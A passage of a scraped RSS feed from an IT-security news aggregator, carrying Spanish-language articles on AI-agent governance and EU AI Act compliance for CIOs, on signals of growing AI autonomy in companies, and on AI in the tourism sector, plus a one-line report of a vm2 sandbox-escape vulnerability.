<p>El segundo pilar es la contención. El equivalente, en el mundo agentivo, a los escritorios virtuales que usamos desde hace años para proveedores de BPO o terceros con acceso sensible. Arquitecturas como “Windows 365 para Agentes” o entornos sandbox equivalentes muestran este enfoque: espacios controlados, con capacidades definidas, donde el agente puede operar sin entrar en contacto directo con el resto de la infraestructura.</p>



<p>No se trata de desconfiar de la tecnología. Se trata de aplicar el mismo rigor que aplicamos con cualquier persona externa a la que damos acceso a sistemas críticos.</p>



<h2 class="wp-block-heading">El coste real de mirar hacia otro lado</h2>



<p>En casi todas las conversaciones sobre agentes aparece, tarde o temprano, el argumento del ahorro, temas como : menos tareas manuales, menos tiempo invertido, más eficiencia. Pero ese cálculo suele ignorar un factor que en los comités de riesgo pesa mucho más: el coste de una hora de interrupción grave.</p>



<p>Estudios recientes sitúan el coste medio de una interrupción de TI de alto impacto en torno a los dos millones de dólares por hora. Incluso si tomamos esa cifra con cautela, el orden de magnitud es claro. En ese contexto, los ahorros esperados de un piloto mal diseñado se desvanecen en el momento en que un error desencadena una caída, una corrupción de datos o una reacción en cadena.</p>



<p>Pensemos en un escenario concreto. Un agente de compras autorizado para actualizar portales de proveedores. Si el diseño de controles es débil y la supervisión exterior inexistente, un fallo de lógica provocado por un rediseño de la web podría generar cientos de pedidos erróneos antes de que alguien levante la mano. Lo que empezó como ahorro proyectado termina siendo un ejercicio de remediación de seis cifras y una crisis de relaciones con proveedores.</p>



<p>El problema ya no es el agente. Es la organización que no fijó límites claros a lo que podía hacer antes de romper algo valioso.</p>



<h2 class="wp-block-heading">El precipicio del 2 de agosto: cuando la regulación deja de ser teórica</h2>



<p>Mientras tanto, pasó algo que muchos directivos ignoraron : que <a href="https://www.computerworld.es/article/2516656/la-ley-de-ia-europea-entrara-en-vigor-el-1-de-agosto-los-plazos-y-requisitos-bajo-lupa.html">el 2 de agosto de 2025 dejó de ser una fecha en el calendario regulatorio para convertirse en un problema operativo real</a>. Ese día marcó un salto cualitativo en la aplicación del AI Act europeo para los modelos de propósito general, especialmente en usos de navegación y automatización. El Artículo 53 introduce obligaciones concretas de transparencia y respeto al <em>opt-out</em> de propiedad intelectual.</p>



<p>Traducido a lenguaje de negocio: una empresa debería poder responder preguntas como “¿de dónde ha aprendido a navegar mi agente?”, “¿qué contenidos reutiliza o transforma?” y “¿puedo demostrar que respete la voluntad de quienes decidieron no ser usados para entrenar estos sistemas?”.</p>



<p>Para organizaciones en Europa , el AI Act es el marco nativo. Influye en cómo se diseñan contratos, se evalúan proveedores y se priorizan casos de uso. Para CIOs en Estados Unidos, la regulación europea puede parecer lejana hasta que tu mayor cliente europeo te pide documentación de cumplimiento, o las operaciones europeas de tu proveedor generan exposición legal.</p>



<p>He visto esto más veces de las que quisiera, la regulación se convierte en requisito comercial más rápido de lo que la mayoría espera. En ambos casos, el mensaje es el mismo:  la decisión de desplegar agentes que navegan y actúan en la web dejó de ser únicamente técnica y pasó a tener consecuencias legales y reputacionales directas para el liderazgo.</p>



<h2 class="wp-block-heading">Tres decisiones que un CIO no puede delegar</h2>



<p>Llegados a este punto, la pregunta no es “qué tareas añadir a un <em>checklist</em>“, sino qué decisiones no puede delegar un CIO frente a este escenario.</p>



<p>Primera decisión: dónde jamás hay que permitir que un agente navegue. Esto implica definir líneas rojas explícitas. Sistemas financieros <em>core</em>, portales regulatorios, consolas de administración con credenciales privilegiadas, procesos donde un error pueda tener consecuencias legales o de seguridad inmediatas.</p>



<p>Segunda decisión: qué evidencia pedir antes de autorizar un piloto. No debería bastar con capturas de pantalla o vídeos controlados. Es razonable exigir pruebas en webs reales, con captchas, pop-ups, cambios de layout y condiciones de red imperfectas, acompañadas de métricas de fallo, tiempos de recuperación y límites de actuación configurados.</p>



<p>Tercera decisión: qué tienes resuelto ahora que el 2 de agosto ya pasó. Eso incluye saber qué proveedores están realmente alineados con el AI Act, tener un inventario claro de casos de uso agentivos en producción, un modelo de supervisión por bucles exteriores y responsabilidades claras en caso de incidente.</p>



<h2 class="wp-block-heading">Para terminar…</h2>



<p>La autonomía no se mide por lo que un agente promete en una demo. Se mide por lo que tu organización puede contener, auditar y recuperar cuando algo se rompe. El 2 de agosto ya pasó. La pregunta ahora no es si tu organización cumple, sino si puedes demostrarlo cuando te lo pidan. Y te lo van a pedir.</p>



<p>En la próxima entrega vamos a lo concreto: qué métricas específicas vigilar en tus <em>dashboards </em>de observabilidad, qué hitos del calendario de <em>enforcement </em>del AI Act no puedes permitirte ignorar, y cómo diseñar arquitecturas de supervisión que funcionen cuando tienes 50 agentes operando simultáneamente. Porque una cosa es entender el riesgo en abstracto y otra muy distinta es saber qué botón apretar cuando algo falla a las 3 de la mañana.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical sandbox escape flaw discovered in popular vm2 NodeJS library]]></title>
<description><![CDATA[A critical-severity vulnerability in the vm2 Node.js sandbox library, tracked as CVE-2026-22709, allows escaping the sandbox and executing arbitrary code on the underlying host system. [...]]]></description>
<link>https://tsecurity.de/de/3237642/it-security-nachrichten/critical-sandbox-escape-flaw-discovered-in-popular-vm2-nodejs-library/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3237642/it-security-nachrichten/critical-sandbox-escape-flaw-discovered-in-popular-vm2-nodejs-library/</guid>
<pubDate>Tue, 27 Jan 2026 17:51:13 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A critical-severity vulnerability in the vm2 Node.js sandbox library, tracked as CVE-2026-22709, allows escaping the sandbox and executing arbitrary code on the underlying host system. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[5 señales de IA que todo CIO debería estar observando en este momento]]></title>
<description><![CDATA[Existe un patrón consistente que está emergiendo a partir de investigaciones de analistas y de implementaciones prácticas en empresas. Las señales más importantes que los CIO deben vigilar en los próximos meses no son las nuevas funciones de IA ni los bancos de prueba de los modelos, sino los ind...]]></description>
<link>https://tsecurity.de/de/3229801/it-security-nachrichten/5-seales-de-ia-que-todo-cio-debera-estar-observando-en-este-momento/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3229801/it-security-nachrichten/5-seales-de-ia-que-todo-cio-debera-estar-observando-en-este-momento/</guid>
<pubDate>Fri, 23 Jan 2026 09:53:08 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Existe un patrón consistente que está emergiendo a partir de investigaciones de analistas y de implementaciones prácticas en empresas. Las señales más importantes que los CIO deben vigilar en los próximos meses no son las nuevas funciones de IA ni los bancos de prueba de los modelos, sino los indicadores de comportamiento, organización y gobernanza que muestran, de forma silenciosa, cuándo la IA ha dejado de ser una herramienta para convertirse en un actor dentro de la empresa.</p>



<p>Forrester predice que, para finales de 2026, los CIO se verán obligados a decidir hasta qué punto los flujos de trabajo pueden funcionar sin intervención humana. El reto es que muchas organizaciones ya están avanzando hacia la autonomía sin reconocer explícitamente que han tomado esa decisión.</p>



<p> A partir de entrevistas con Linda Ivy-Rosser, vicepresidenta y directora de investigación de Forrester, y con responsables de TI de Trimble, Cisco y Phison Electronics Corp., se identifican cinco señales clave. Cada una ofrece a los CIO un sistema de alerta temprana, no solo sobre un cambio tecnológico, sino sobre una transformación del modelo operativo que ya está en marcha.</p>



<h2 class="wp-block-heading">En los flujos de trabajo y la autonomía: cuando la IA deja de ayudar y empieza a actuar</h2>



<p>La señal más temprana y, a la vez, más trascendental es aparentemente sencilla: los sistemas de IA empiezan a actuar sin que los humanos los invoquen de forma explícita. En la empresa tecnológica Trimble, Aviad Almagor, vicepresidente de Innovación Tecnológica, describe el momento en que la autonomía se introduce de forma silenciosa: “La línea se cruza cuando la IA deja de responder a preguntas y empieza a actuar”. En las primeras fases, los sistemas pueden recomendar los siguientes pasos; pero una vez que la IA comienza a ejecutar esos pasos, el flujo de trabajo ha cambiado de manera fundamental.</p>



<p> Otra señal reveladora es el cambio de comportamiento de los equipos. Almagor observa que dejan de preguntar “¿qué <em>prompt</em> has utilizado?” para inquirir “¿por qué el sistema ha decidido hacer eso?”. A su juicio, ese cambio indica que la IA ya no se percibe como una herramienta, sino como un participante en la toma de decisiones.</p>



<p> Nik Kale, ingeniero principal de Cisco, observa el mismo patrón en grandes empresas que implementan asistentes de IA a escala. En principio, los humanos revisan los resultados de la IA antes de que lleguen a los clientes. Con el tiempo, a medida que aumenta la confianza, esa revisión se convierte en un mero trámite. Finalmente, no intervienen más que cuando algo sale mal. Lo que le lleva a decir que “se ha cruzado el umbral en el momento en que los humanos pasan del ciclo de decisión al ciclo de análisis posterior”.</p>



<p>Esta señal indica que la organización ha pasado de la IA asistencial a la IA agéntica, a menudo sin una decisión formal. Los CIO que no detectan este momento corren el riesgo de gestionar la autonomía de forma reactiva, en lugar de hacerlo de manera intencionada.</p>



<h2 class="wp-block-heading">En gobernanza y riesgo: cuando el control se desvanece más rápido que la responsabilidad</h2>



<p> Una de las señales de alarma más claras aparece cuando las trazas de auditoría explican qué ha ocurrido, pero no por qué. Almagor advierte de que muchas organizaciones pueden reconstruir las acciones ejecutadas por la IA, pero no su razonamiento.</p>



<p> Si nadie se responsabiliza de la decisión y la IA la ha tomado, la gobernanza ya se ha quedado atrás”, dice este experto. Por su parte, Ivy-Rosser, de Forrester, observa este patrón con mayor frecuencia cuando se implementa IA para arreglar procesos desordenados y no estandarizados, especialmente en situaciones de crisis. “Los CIO eligen el camino más fácil», señala, evitando el trabajo previo —y más complejo— de definir derechos de decisión, modelos de escalado y planes de coordinación”.</p>



<p>El resultado es un riesgo operativo en cascada, no porque la IA falle, sino porque la gobernanza nunca se ha puesto al día.</p>



<p>Otra señal a menudo subestimada es la dificultad para deshacer acciones. Kale recomienda a los CIO que presten atención al coste de la reversibilidad. Cuando revertir una acción automatizada requiere la coordinación de varios sistemas o equipos, la autonomía ha superado su intención original. Por eso dice que “la autonomía debe concederse en proporción a la reversibilidad y la contención”, afirma, y señala que la confianza en el modelo es un factor secundario.</p>



<p>Esta señal indica que la autonomía ha avanzado más rápido que la gobernanza. Cuando la reversibilidad se vuelve costosa y la responsabilidad se difumina, las organizaciones operan por encima de su tolerancia al riesgo, lo sepan o no.</p>



<h2 class="wp-block-heading">En los modelos operativos: cuando el trabajo se reorganiza en torno a los resultados</h2>



<p>Otra señal que no aparece en los cuadros de mando, sino en la forma en que se describe el trabajo. Almagor detecta en Trimble un desplazamiento desde la ejecución basada en funciones hacia flujos de trabajo orientados a resultados. En lugar de herramientas de IA aisladas que apoyan de forma independiente a programadores, operadores de campo o planificadores, los sistemas agenciales supervisan ahora las condiciones de extremo a extremo y ajustan los planes de manera continua. De ahí que diga que “cuando el trabajo se organiza en torno a los resultados y no a las funciones, el modelo operativo ha cambiado”.</p>



<p>Forrester observa patrones similares en múltiples sectores. Ivy-Rosser señala que muchas organizaciones han delegado la complejidad de los procesos en proveedores a través de servicios gestionados, sin evolucionar hacia contratos basados en resultados. Y añade: “Los proveedores acaban tomando decisiones estratégicas porque la empresa nunca ha aclarado dónde termina la utilidad y dónde empieza la ventaja competitiva”.</p>



<p>Una señal relacionada surge cuando se pide a los CIO que intervengan tras el fracaso de iniciativas de IA. Forrester predice que un número significativo de CIO será llamado a rescatar implementaciones impulsadas por las áreas de negocio que carecían de gobernanza y responsabilidad compartida. Se trata menos de un fallo tecnológico que de un problema de alineación del modelo operativo.</p>



<p>Esta señal sugiere que la IA está remodelando la forma en que se crea y se entrega valor. Los CIO que siguen tratando la IA como una simple capa de productividad corren el riesgo de pasar por alto un cambio estructural mucho más profundo.</p>



<h2 class="wp-block-heading">En la cultura y el comportamiento: cuando los humanos cambian más rápido —o más lento— que los sistemas</h2>



<p>Algunos de los indicadores más sólidos son de carácter cultural. Las organizaciones preparadas para una mayor autonomía se sienten cómodas trabajando con resultados probabilísticos. Almagor destaca que los equipos más eficaces no esperan respuestas deterministas de los sistemas de IA. Tratan la incertidumbre como un dato más, no como un error, y diseñan en consecuencia umbrales y mecanismos de intervención humana. Por eso afirma que “la autonomía no fracasa cuando los sistemas son inciertos, sino cuando lo son las organizaciones”.</p>



<p>En el extremo opuesto, la confianza excesiva es otra señal de alerta. En sectores como la construcción y el transporte, Almagor ha observado sistemas de IA que continúan funcionando con aparente seguridad a pesar de la falta de datos o de la existencia de información contradictoria. El riesgo se agrava cuando los humanos dejan de cuestionar los resultados porque la automatización “siempre ha funcionado antes”.</p>



<p>Kale describe un fenómeno similar a gran escala: los humanos se desconectan una vez que el rendimiento de la IA se estabiliza, incluso cuando aumenta el impacto potencial de sus decisiones. Esta erosión silenciosa de la supervisión suele preceder a las crisis de gobernanza.</p>



<p>Esta señal revela si la organización es capaz de absorber la autonomía de forma responsable. La preparación técnica sin preparación conductual es un indicador adelantado de fracaso.</p>



<h2 class="wp-block-heading">En tecnología e infraestructura: cuando las limitaciones quedan por debajo de la capa de aplicación</h2>



<p>Sebastien Jean, director de tecnología de Phison Electronics, destaca cuellos de botella de infraestructura que determinan de forma silenciosa el éxito o el fracaso: escasez de memoria, localización de los datos y tolerancia a la latencia. “Si un sistema tarda 17 minutos en lugar de siete segundos, la gente simplemente se irá”, afirma. Estas limitaciones influyen más en la adopción que la sofisticación algorítmica.</p>



<p>A medida que las iniciativas de IA pasan de la prueba de concepto a producción —añade Jean—, muchas organizaciones asumen que escalar implica desplegar la versión completa del sistema en todas partes: modelos más grandes, más memoria, mayor ancho de banda y niveles premium de infraestructura. En la práctica, esa suposición rara vez se cuestiona.</p>



<p>En su lugar, describe un enfoque más empírico que algunos equipos empiezan a aplicar: ejecutar deliberadamente una versión reducida del sistema junto a la completa y comparar resultados. “Puedes reducir recursos, tamaño del modelo o complejidad del proceso y medir si el resultado de negocio cambia realmente”, explica. En muchos casos, las organizaciones descubren que las diferencias son marginales o imperceptibles para los usuarios, mientras que los costes de infraestructura se reducen de forma significativa.</p>



<p>La señal clave para los CIO aparece cuando la calidad de las decisiones, el comportamiento de los usuarios o los resultados posteriores se mantienen estables a pesar de la reducción. Esa estabilidad indica que la organización ha estado pagando de más por una capacidad que no necesitaba.</p>



<p>La optimización de costes se convierte así en una señal de madurez. Las organizaciones que pueden degradar, comparar y validar resultados de forma segura dejan de adivinar dónde aporta valor su inversión en IA. Lo miden y utilizan esa evidencia para guiar decisiones de arquitectura y gobernanza.</p>



<h2 class="wp-block-heading">Cómo actuar ante estas señales antes de que ellas actúen sobre usted</h2>



<p>En todas las entrevistas, el mensaje es consistente: estas señales no advierten de un cambio futuro, sino que demuestran que el cambio ya está en marcha. La tarea del CIO consiste, por tanto, en institucionalizar la respuesta de la organización una vez que aparecen.</p>



<p>El primer paso es formalizar la detección de señales. Los CIO deben dejar de basarse en anécdotas (“algo parece diferente”) e incorporar momentos explícitos de revisión en los foros de gobernanza. Esto implica plantear preguntas de forma periódica: qué sistemas inician acciones sin indicaciones, dónde los humanos solo intervienen a posteriori y qué decisiones son difíciles de revertir. Como señala Almagor, la autonomía suele colarse a través de la comodidad. Los CIO necesitan revisiones intencionadas y recurrentes de dónde esa comodidad se ha traducido en pérdida de control.</p>



<p>La gobernanza debe impulsarse desde el inicio, no añadirse después. Forrester destaca que adaptar controles tras la implementación suele ser más disruptivo que ralentizar el proceso al principio. Ivy-Rosser subraya la importancia de definir derechos de decisión, vías de escalado y planes de coordinación antes de que los agentes operen de extremo a extremo.</p>



<p>Kale señala que, en Cisco, más que tratar la autonomía como una elección de diseño, conviene observar una señal de comportamiento: el umbral real se cruza cuando los humanos dejan de estar en el ciclo de decisión y pasan al ciclo de análisis posterior. En ese momento, la IA se ha convertido de facto en un actor, no en un asistente, a menudo sin una decisión explícita por parte de los líderes.</p>



<p>Cuando las señales indican que la autonomía ha superado ese umbral, los CIO deben reajustar los modelos operativos y de responsabilidad. Cuando los humanos se convierten en gestores de excepciones y la IA abarca flujos de trabajo completos, la responsabilidad compartida deja de ser opcional. Es necesario reunir a operaciones, recursos humanos, legal y negocio para definir con claridad quién responde por la intención, la ejecución y los resultados. Como apunta Kale, la IA no elimina la responsabilidad; obliga a aclararla de una vez.</p>



<p>Por último, los CIO deben tratar la cultura como un control operativo. Las organizaciones que gestionan bien los resultados probabilísticos y cuestionan las decisiones automatizadas están mejor preparadas para la autonomía que aquellas que persiguen una certeza determinista. Esto puede requerir volver a formar a los directivos como supervisores de “trabajadores digitales”, no solo como consumidores de herramientas, un cambio que Jean compara con la gestión de empleados junior cualificados más que con la administración de software.</p>



<p>Detecte la señal, nombre el cambio y actúe de forma deliberada. Los CIO que lo hagan darán forma a la autonomía según sus propios términos, en lugar de heredarla por accidente.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[La inteligencia artificial se pone al servicio del sector turismo]]></title>
<description><![CDATA[La transformación digital del sector turismo ha vivido un acelerón en los últimos años, impulsada por el desarrollo de herramientas de inteligencia artificial y, especialmente, de la IA generativa. Como recoge un estudio de la European Travel Commission, que aglutina las organizaciones nacionales...]]></description>
<link>https://tsecurity.de/de/3229753/it-security-nachrichten/la-inteligencia-artificial-se-pone-al-servicio-del-sector-turismo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3229753/it-security-nachrichten/la-inteligencia-artificial-se-pone-al-servicio-del-sector-turismo/</guid>
<pubDate>Fri, 23 Jan 2026 09:22:49 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La <strong>transformación digital del sector turismo</strong> ha vivido un acelerón en los últimos años, impulsada por el desarrollo de herramientas de <strong>inteligencia artificial</strong> y, especialmente, de la <strong>IA generativa</strong>. Como recoge un <a href="https://etc-corporate.org/uploads/2025/09/2025_AI-in-tourism_Supporting-NTO-Operations.pdf" target="_blank" rel="nofollow">estudio</a> de la European Travel Commission, que aglutina las organizaciones nacionales de turismo europeas, en este periodo se ha comprobado cómo la IA ha pasado de ser “una tecnología de nicho, reservada a los equipos de analítica avanzada de empresas bien financiadas a un set de herramientas mainstream”. ONU Turismo <a href="https://www.untourism.int/es/innovacion-transformacion-digital/ia-en-beneficio-del-turismo" target="_blank" rel="nofollow">habla</a> de un “proceso significativo de transformación en el sector turístico” inducido por la IA, que “multiplica la eficiencia y la personalización”.</p>



<p>Traducir este impacto a estadísticas de despliegue no es tarea sencilla. Según un <a href="https://amadeus.com/en/resources/research/generative-ai-travel-industry" target="_blank" rel="nofollow">informe</a> de la compañía Amadeus, para el que se encuestaron a 306 líderes del mercado de diez mercados distintos que aplican IA generativa, a nivel global se percibe una presencia significativa: <strong>un 51% de participantes dicen que ya estaba emergiendo esta tecnología en 2025</strong> y un 36% más prevé que lo hará en 2026. Desde McKinsey <a href="https://www.mckinsey.com/industries/travel/our-insights/remapping-travel-with-agentic-ai" target="_blank" rel="nofollow">aportan</a> otra perspectiva: mientras que en 2022 solo un 4% del Skift Travel 200 —un indicador que aglutina a una selección de las empresas de viajes que cotizan en bolsa más grandes del mundo— reportaba integrar alguna forma de IA, para 2024 el porcentaje había subido al 35%.</p>



<p>A nivel de organismos públicos, el informe de la European Travel Commission mostraba como pese a que hay un interés notorio en la IA, las organizaciones consideran que están mayoritariamente aún en fases iniciales, con el 80% considerando que están a mitad de camino. En el lado positivo, cuatro de cada diez dicen haber desarrollado equipos de IA o monitorizar la tecnología.</p>



<p>En cuanto a los usos que más se da a nivel empresarial, según Amadeus destacan la asistencia a viajantes en los procesos de reserva, la recomendación de actividades, la generación de contenidos, el apoyo al personal para atender a clientes, recolectar <em>feedback</em> <em>a posteriori</em>, asistencia digital durante el viaje, inspiración o agilizar operaciones.</p>



<p>¿Y emplean la IA quienes viajan? De nuevo según Amadeus —en otro <a href="https://www.europapress.es/economia/noticia-uso-ia-generativa-viajes-duplica-espana-2024-alcanza-24-amadeus-20250919171902.html" target="_blank" rel="nofollow">informe</a>—, <strong>un 24% de turistas de España utilizaban herramientas de IA para planificar sus viajes</strong>, frente al 11% de 2024. El informe de McKinsey cita datos que apuntan hacia una mayor comodidad con estas tecnologías: más de la mitad de los 1.000 participantes en una encuesta decían haberlas empleado en la planificación de sus escapadas.</p>



<h2 class="wp-block-heading">Cómo aplicar la IA</h2>



<p>La integración de herramientas inteligentes en empresas del sector turismo está, en muchos casos, en su modelo mismo de negocio. Es el caso de la plataforma de viajes Perk, uno de los <a href="https://www.computerworld.es/article/4110267/el-escenario-de-unicornios-tecnologicos-en-espana-a-fondo.html">más recientes unicornios españoles</a>. Según explica su directora de producto o CPO Nikita Miller, “<strong>en Perk, la IA está integrada completamente en la plataforma, simplificando viajes, gastos y eventos</strong>. Eso significa que la IA ayuda a gestionar reservas y cambios de viaje, clasifica gastos y concilia facturas, con una intervención mínima por parte del usuario”. Miller pone ejemplos a distintos niveles, como Juno, chat impulsado por IA que, a diferencia de asistentes tradicionales que repiten información de la web, se integra en los sistemas para dar información en tiempo real. “Nuestro objetivo es hacer que el trabajo desaparezca para el usuario final”, señala.</p>



<p>En el <em>back office</em> la IA se utiliza para, por ejemplo, eliminar los pagos con tarjeta virtual en el <em>check-in</em> del hotel. “Antes, nuestros equipos tenían que llamar a todos los hoteles antes de la llegada de los huéspedes para confirmar que el pago se había realizado”, recuerda. “Hoy, nuestros agentes de voz de IA llaman proactivamente, gestionan la comunicación con los hoteles y resuelven problemas antes de que el viajero llegue”. Esto deja tiempo al personal para centrarse en casos que necesitan de intervención humana. Miller profundiza también en uno de los últimos lanzamientos de la compañía: <strong>Perk Events</strong>, un nuevo módulo que automatiza la planificación de eventos de equipo. “El organizador sigue tomando las decisiones estratégicas mientras la IA se encarga del trabajo más operativo”, explica: la IA solicita presupuestos a hoteles y selecciona aquellos óptimos según las necesidades del evento, lo que permite ahorrar un tiempo de planificación significativo.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Nikita Miller (Perk)" class="wp-image-4120772" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?resize=1536%2C1024&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?resize=1046%2C697&amp;quality=50&amp;strip=all 1046w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Nikita-Miller-Directora-de-Producto-Perk.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Nikita Miller (Perk).</strong></p>
</figcaption></figure><p class="imageCredit">Perk</p></div>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“Nuestro objetivo es hacer que el trabajo desaparezca para el usuario final”, recuerda Nikita Miller (Perk)</em></strong></p></blockquote></figure>



<p>Para la CPO de Perk, el mayor desafío en la integración de la IA es “decidir dónde y cómo aplicarla para servir mejor al cliente”, para lo que destaca su uso en el <em>backend </em>sobre opciones como “interfaces llamativas”. “Viajes, gastos y facturas son difíciles de predecir”, incide. “Por eso, la automatización de estos flujos ha quedado rezagada frente a otros procesos que se digitalizaron hace años, como los CRM”. Apunta, además, que “<strong>la IA solo funciona si se entrena con datos reales y está lo suficientemente integrada</strong>”, sin los que “se quedaría en la superficie”. Su empresa, con un histórico de años de datos estructurados, tiene una ventaja diferencial al entrenar modelos en el comportamiento real del viaje y el gasto, defiende. En relación a los beneficios, se centra en la mejora en el coste invisible del trabajo oculto, aquellas tareas que requieren de tiempo y recursos pero que no siempre se tienen en cuenta. “La IA nos ha ayudado a simplificar los flujos de trabajo de nuestros clientes y a eliminar gran parte de estas tareas. Esto tiene efectos medibles en la moral, el compromiso y la retención, porque la gente siente que su tiempo es respetado, no desperdiciado”.</p>



<p>También desde <strong>World2Meet —W2M</strong>—, división de viajes del <a href="https://www.cio.com/article/2091110/la-tecnologia-es-la-facilitadora-de-una-transformacion-obligada.html">Grupo Iberostar</a>, integran en su estrategia la aplicación de IA “como una capa transversal de inteligencia operativa”, explica su CIO, Joan Barceló. De hecho, la compañía <a href="https://www.cio.com/article/4096596/dimitris-bountolos-ferrovial-coca-cola-europacific-partners-y-lantik-los-protagonistas-de-los-cio-100-awards-en-espana-en-2025.html">resultó finalista en la categoría del Mejor proyecto de IA y automatización inteligente en los últimos CIO 100 Awards</a><strong>. </strong>“Nuestra aproximación parte de una convicción clara: <strong>la IA que más valor aporta es la IA invisible</strong>, aquella que actúa en segundo plano mejorando eficiencia, calidad y capacidad de decisión, sin sustituir la relación humana con el cliente”. En este sentido, destaca su iniciativa IPA —siglas de Intelligent Process Automation—, “un ecosistema que combina automatización avanzada, <em>machine learning</em> e IA generativa para actuar sobre procesos de <em>backoffice </em>y operación en toda la organización”. Esta automatización inteligente incluye distintas áreas, desde la parte de <em>contact center </em>a la de generación de itinerarios y movilidad, “siempre conectada a procesos reales, de alta volumetría y con impacto medible”. Cuentan también con agentes de IA generativa y asistentes operativos internos que, a través de su interacción con distintas fuentes de datos y bajo supervisión humana, aportan “contexto y velocidad a los equipos que diseñan la propuesta final al cliente”.</p>



<p>La firma también plantea iniciativas de IA visibles para “humanizar la tecnología y facilitar su comprensión”, como su embajadora digital, Mía, “concebida como un elemento de comunicación y cultura digital que acerca la innovación a las personas, mientras la verdadera IA de valor continúa operando de forma invisible en el <em>backoffice</em>”.</p>



<p>“<strong>El mayor reto no es implantar IA, sino decidir dónde aporta valor real y dónde no</strong>”, desarrolla Barceló. “Integrar IA de forma efectiva exige comprender primero la necesidad real del negocio y aceptar que no todo proceso debe automatizarse ni todo problema requiere IA”. De ahí que “el principal desafío no ha sido tecnológico, sino estratégico y cultural”, defiende. A nivel beneficios, destaca el aporte en “velocidad, precisión y competitividad, especialmente en entornos de alta complejidad operativa. <strong>Los beneficios se están recogiendo de forma progresiva, transversal y medible</strong>, especialmente en aquellas áreas donde la IA opera de forma constante pero poco visible”. Por ejemplo, volviendo al <em>contact center</em>, detalla cómo se clasifican más de 109.000 correos al mes con un 92% de precisión, enriqueciéndolos con datos de la reserva en un 76 % de casos. En todos se aplica análisis de sentimiento y resumen automático. “Además, se analizan aproximadamente 2.000 llamadas diarias para evaluar la calidad de la atención y detectar patrones de mejora”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Joan Barceló, CIO de World2Meet, la división de viajes de Grupo Iberostar, durante la gala CIO 100 Awards Spain 2024." class="wp-image-3807694" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?quality=50&amp;strip=all 5547w, https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?resize=300%2C225&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?resize=768%2C576&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?resize=1024%2C768&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?resize=1536%2C1152&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?resize=2048%2C1536&amp;quality=50&amp;strip=all 2048w, 